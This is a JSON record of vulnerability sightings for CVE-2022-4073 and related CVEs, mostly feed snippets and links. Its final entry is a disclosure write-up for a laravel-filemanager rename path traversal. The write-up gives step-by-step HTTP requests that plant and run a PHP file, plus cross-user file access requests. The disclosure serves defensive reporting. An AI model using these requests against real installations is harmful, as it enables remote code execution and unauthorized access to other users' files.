{"vulnerability": "CVE-2022-4073", "sightings": [{"uuid": "a7af966d-ddb6-4ad3-a76f-f3a84ea2e1af", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-40732", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113676224976008991", "content": "", "creation_timestamp": "2024-12-18T22:38:58.831921Z"}, {"uuid": "533899e8-3a3e-400f-aa09-f64bf6c1e760", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-40733", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113676224990939956", "content": "", "creation_timestamp": "2024-12-18T22:38:59.110925Z"}, {"uuid": "0cd66f79-e075-450f-a5aa-5c676ce2586f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-40733", "type": "seen", "source": "MISP/acd0294c-4561-4286-a04e-5c02a1c67b1f", "content": "", "creation_timestamp": "2025-09-15T13:28:32.000000Z"}, {"uuid": "85ebab9e-3381-4637-9bf1-363b2dbcab9d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-40733", "type": "seen", "source": "MISP/acd0294c-4561-4286-a04e-5c02a1c67b1f", "content": "", "creation_timestamp": "2025-09-16T03:45:04.000000Z"}, {"uuid": "fbcbe4a4-d204-41ce-a4cd-8dd2ee70f30c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2022-40735", "type": "seen", "source": "https://www.cert.ssi.gouv.fr/avis/CERTFR-2026-AVI-0316/", "content": "", "creation_timestamp": "2026-03-19T00:00:00.000000Z"}, {"uuid": "23a9f6f8-ba21-4518-bddb-b4991f17a7e3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-40732", "type": "seen", "source": "https://t.me/cvedetector/13276", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2022-40732 - Windows Win32kbase.sys DirectComposition Access Violation Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2022-40732 \nPublished : Dec. 18, 2024, 11:15 p.m. | 39\u00a0minutes ago \nDescription : An access violation vulnerability exists in the DirectComposition functionality win32kbase.sys driver version 10.0.22000.593 as part of Windows 11 version 22000.593 and version 10.0.20348.643 as part of Windows Server 2022 version 20348.643. A specially-crafted set of syscalls can lead to a reboot. An unprivileged user can run specially-crafted code to trigger Denial Of Service. \nSeverity: 5.0 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"19 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-19T01:25:03.000000Z"}, {"uuid": "d80cc527-7ff9-44c4-9924-e28f0f290795", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-40733", "type": "seen", "source": "https://t.me/cvedetector/13277", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2022-40733 - Windows Win32kbase.sys DirectComposition Access Violation Denial Of Service (DoS)\", \n  \"Content\": \"CVE ID : CVE-2022-40733 \nPublished : Dec. 18, 2024, 11:15 p.m. | 39\u00a0minutes ago \nDescription : An access violation vulnerability exists in the DirectComposition functionality win32kbase.sys driver version 10.0.22000.593 as part of Windows 11 version 22000.593 and version 10.0.20348.643 as part of Windows Server 2022 version 20348.643. A specially-crafted set of syscalls can lead to a reboot. An unprivileged user can run specially-crafted code to trigger Denial Of Service. \nSeverity: 5.0 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"19 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-19T01:25:07.000000Z"}, {"uuid": "b67f2601-faec-4875-b801-c22341f0cbf2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-4073", "type": "seen", "source": "https://t.me/cibsecurity/53226", "content": "\u203c CVE-2022-4073 \u203c\n\nA vulnerability, which was classified as problematic, has been found in Aleksandr R alx ip statistic Plugin. Affected by this issue is some unknown functionality of the component HTTP Header Handler. The manipulation of the argument X-Forwarded-For leads to improper output neutralization for logs. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. The identifier of this vulnerability is VDB-214040.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2022-11-20T16:36:29.000000Z"}, {"uuid": "b71b220c-0563-4d39-bee9-3bbd90edbc5e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-40734", "type": "exploited", "source": "https://t.me/cibsecurity/49805", "content": "\u203c CVE-2022-40734 \u203c\n\nUniSharp laravel-filemanager (aka Laravel Filemanager) through 2.5.1 allows download?working_dir=%2F.. directory traversal to read arbitrary files, as exploited in the wild in June 2022.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2022-09-15T02:26:45.000000Z"}, {"uuid": "3e5ea517-becf-4370-a803-26f9c0f043d6", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-40734", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/341fa890-61c6-48ff-9ddd-13ef3124c184", "content": "", "creation_timestamp": "2026-06-19T12:47:04.194569Z"}, {"uuid": "50bdf135-7f90-4310-85f1-602a67cf1b30", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-40734", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/a52062ee-8e06-42bd-948d-4bf02f1e9f75", "content": "", "creation_timestamp": "2026-06-23T14:04:05.433691Z"}, {"uuid": "f3a1ae5a-e9a2-43f2-8cd4-5b712d642798", "vulnerability_lookup_origin": "c8fb6bf1-f81f-4cb8-95b1-eadbb3b54ee8", "author": "af0120d0-3dac-4a6a-974b-a9f33d2a9846", "vulnerability": "CVE-2022-40734", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/b30b57ba-4519-4c50-bb94-847e39403dec", "content": "", "creation_timestamp": "2026-06-30T09:59:50.335391Z"}, {"uuid": "4e96c779-b423-4f22-a090-b2082ccda157", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-40734", "type": "seen", "source": "https://gist.github.com/qianqiusujiu/95a849d259b0a1f9542888119faa845d", "content": "# laravel-filemanager Rename Path Traversal Remote Code Execution (v2.15.1)\n\n**CWE-22 \u00b7 Authenticated path traversal in rename \u00b7 Arbitrary file move with attacker-controlled extension, leading to remote code execution on default configuration**\n\n> **Vendor:** UniSharp (https://github.com/UniSharp)\n> **Product:** laravel-filemanager (Laravel package, https://github.com/UniSharp/laravel-filemanager)\n> **Affected version:** 2.15.1 (commit 28b491d, master as of 2026-09-28); within-root impact present in all versions\n> **Affected endpoints:** GET /filemanager/rename (route `lfm.rename`, default middleware `['web','auth']`)\n> **Disclosed via:** VulDB (submission #xxxxxx)\n> **Note:** Validation used only a harmless md5 marker payload; no credentials were extracted, and no sensitive values appear in this disclosure.\n\n## 1. Summary\n\nThe rename endpoint of laravel-filemanager accepts `working_dir`, `file` and `new_name` straight from the request and builds the destination path by raw concatenation, with no `..` filtering, `basename()` or `realpath()` anywhere in `src/`. The default configuration disables both `alphanumeric_filename` and `alphanumeric_directory` validation, and rename never re-applies the upload-side extension/mime checks. Any authenticated LFM user can therefore move an uploaded file into any directory inside the storage disk \u2014 including the web-served storage root \u2014 and choose an arbitrary extension, e.g. rename an uploaded `poc.pdf` to `../../poc.php`, which executes as PHP under the web root: authenticated remote code execution on a stock install.\n\nThis issue is distinct from the package's previously published advisories: **CVE-2022-40734** covers a path traversal in the *download* endpoint (arbitrary file read via `DownloadController`), and **CVE-2024-21546** covers a trailing-dot extension bypass in the *upload* endpoint (fixed in 2.9.1). Neither addresses the rename endpoint's arbitrary *move* with controlled extension, and v2.15.1 still contains zero `..` sanitization in `src/`.\n\n## 2. Root Cause\n\n| File | Line | Role |\n|---|---|---|\n| `src/Controllers/RenameController.php` | 17-18 | `old_name = helper->input('file')`, `new_name = helper->input('new_name')` \u2014 raw request input |\n| `src/Lfm.php` | 31-34 | `input()` returns raw request input, no sanitization |\n| `src/Controllers/RenameController.php` | 39-58 | `alphanumeric_filename`/`alphanumeric_directory` validation block \u2014 skipped entirely (both default to `false`) |\n| `src/Controllers/RenameController.php` | 63 | existence check `setName($new_name)->exists()` returns `false` for a free traversal target, so the flow proceeds |\n| `src/LfmPath.php` | 71-91, 181-198 | `path('storage')` = `getCategoryName() . normalizeWorkingDir()`; `normalizeWorkingDir()` concatenates raw `working_dir` + raw `new_name`. No `..`/`basename()`/`realpath()` filtering anywhere in `src/` |\n| `src/LfmStorageRepository.php` | 33 | sink: `$this->disk->move($this->path, $new_lfm_path->path('storage'))` \u2014 raw paths to the Flysystem disk |\n\n## 3. Prerequisites\n\n- Any authenticated LFM-enabled account (low-privilege; default middleware `['web','auth']`).\n- Package defaults (`config/lfm.php` not published): `alphanumeric_filename=false`, `alphanumeric_directory=false`, `should_validate_mime=true`, blocklist `php`/`html`.\n- A web-writable target served with PHP handling \u2014 the default `public/storage` symlink exposes the `public` disk root at `/storage`.\n- Version boundary: arbitrary move **within** the storage root (sufficient for the RCE chain) works on every version including 2.15.1 on Flysystem v2/v3. Writing **outside** the storage root additionally requires Flysystem v1 stacks (Laravel 8 and earlier), because Flysystem v2/v3 raise `PathTraversalDetected`. The demonstrated RCE does not leave the disk root.\n\n## 4. Reproduction\n\n1) Upload a PDF-wrapped PHP marker (passes the default `application/pdf` mime whitelist; a direct `.php` upload is correctly rejected \u2014 rename is the bypass that never re-validates):\n\n```http\nPOST /filemanager/upload?type=file HTTP/1.1\nHost: target\nCookie: \nX-XSRF-TOKEN: \nContent-Type: multipart/form-data; boundary=----poc\n\n------poc\nContent-Disposition: form-data; name=\"upload\"; filename=\"poc.pdf\"\nContent-Type: application/pdf\n\n%PDF-1.4\n\n%%EOF\n------poc--\n```\n\n2) Rename with `..` traversal \u2014 escape the private folder and switch the extension to `.php` in one step:\n\n```http\nGET /filemanager/rename?working_dir=/1&file=poc.pdf&new_name=../../poc.php HTTP/1.1\nHost: target\nCookie: \n```\n\n```http\nHTTP/1.1 200 OK\nContent-Type: text/html; charset=UTF-8\n\nOK\n```\n\nResult on disk: `storage/app/public/files/1/poc.pdf` is gone; `storage/app/public/poc.php` exists (web-served via the `public/storage` symlink).\n\n3) Trigger execution:\n\n```http\nGET /storage/poc.php HTTP/1.1\nHost: target\n```\n\n```http\nHTTP/1.1 200 OK\n\n%PDF-1.4\nLFM-01-TEST-302fac1d6d73cf4fdf2c9919195df864%%EOF\n```\n\n`md5(\"poc\")` = `302fac1d6d73cf4fdf2c9919195df864` \u2014 attacker-uploaded content now executes as PHP under the web root. Scripted version: `poc/exploit.sh` (payload builder: `poc/make-payload.sh`).\n\n## 5. Confirmed Techniques\n\nVerified end-to-end on a stock install (laravel/framework 13.33.0, league/flysystem 3.36.0, PHP 8.4.26, package v2.15.1 byte-identical to commit 28b491d, default config):\n\n- Direct `.php` upload is blocked (`\"Invalid file detected\"`) \u2014 upload validation works; the `%PDF-1.4`-wrapped marker passes as `application/pdf`.\n- `GET /filemanager/rename?working_dir=/1&file=poc.pdf&new_name=../../poc.php` \u2192 HTTP 200; file moved to the disk root with `.php` extension, no re-validation; `GET /storage/poc.php` echoed `LFM-01-TEST-302fac1d6d73cf4fdf2c9919195df864` = `md5(\"poc\")` \u2014 authenticated RCE.\n- Cross-user arbitrary move: `new_name=../2/planted-by-user1.php` (as user 1) wrote into user 2's private folder with an attacker-chosen name/extension (HTTP 200).\n- Cross-user listing via the same unvalidated `working_dir`: `GET /filemanager/jsonitems?type=file&working_dir=/1/../2` (as user 1) returned user 2's items \u2014 `MultiUser` middleware checks `working_dir` with `Str::startsWith()` only.\n- Root-escape probe `new_name=../../../../escape-target.txt` \u2192 HTTP 500, `League\\Flysystem\\PathTraversalDetected` on Flysystem v3; no write above the disk root. Root escape therefore requires Flysystem v1 (Laravel 8 and earlier / older LFM versions without the `flysystem >=2.0.0` composer floor that v2.15.1 has).\n\n## 6. Impact\n\nAny authenticated LFM user can plant attacker-controlled content as an arbitrary `.php` file inside the web-served storage root of a default installation, achieving remote code execution with the privileges of the web server user (low-privilege account required \u2014 `PR:L`). The same primitive enables cross-user arbitrary file moves (integrity), and on Flysystem v1 stacks extends to writes outside the storage root. Validation used a harmless marker payload only; no credentials or sensitive data were extracted.\n\n## 7. CVSS 3.1\n\n`CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H` (Base 8.8 \u2014 High)\n\n## 8. Remediation\n\n1. Normalize path segments and reject any `..` component inside `LfmPath::normalizeWorkingDir()` and `LfmPath::setName()` before any storage operation.\n2. Re-apply the upload extension/mime validation to `new_name` in `RenameController` before `move()`.\n3. Fix `MultiUser`'s `working_dir` check (normalize before comparing instead of `Str::startsWith()`).\n\n## 9. References\n\n- Project: https://github.com/UniSharp/laravel-filemanager\n- CWE-22 (Improper Limitation of a Pathname to a Restricted Directory): https://cwe.mitre.org/data/definitions/22.html\n- Related but distinct \u2014 CVE-2022-40734 (download-endpoint read traversal): https://www.cve.org/CVERecord?id=CVE-2022-40734\n- Related but distinct \u2014 CVE-2024-21546 (upload-endpoint trailing-dot extension bypass, fixed 2.9.1): https://www.cve.org/CVERecord?id=CVE-2024-21546\n- External disclosure: [GIST_URL]\n- VulDB submission #xxxxxx\n\n---\n*All validation was performed in a local, isolated environment. The temporary environment was destroyed after testing.*\n", "creation_timestamp": "2026-09-28T02:12:58.000000Z"}]}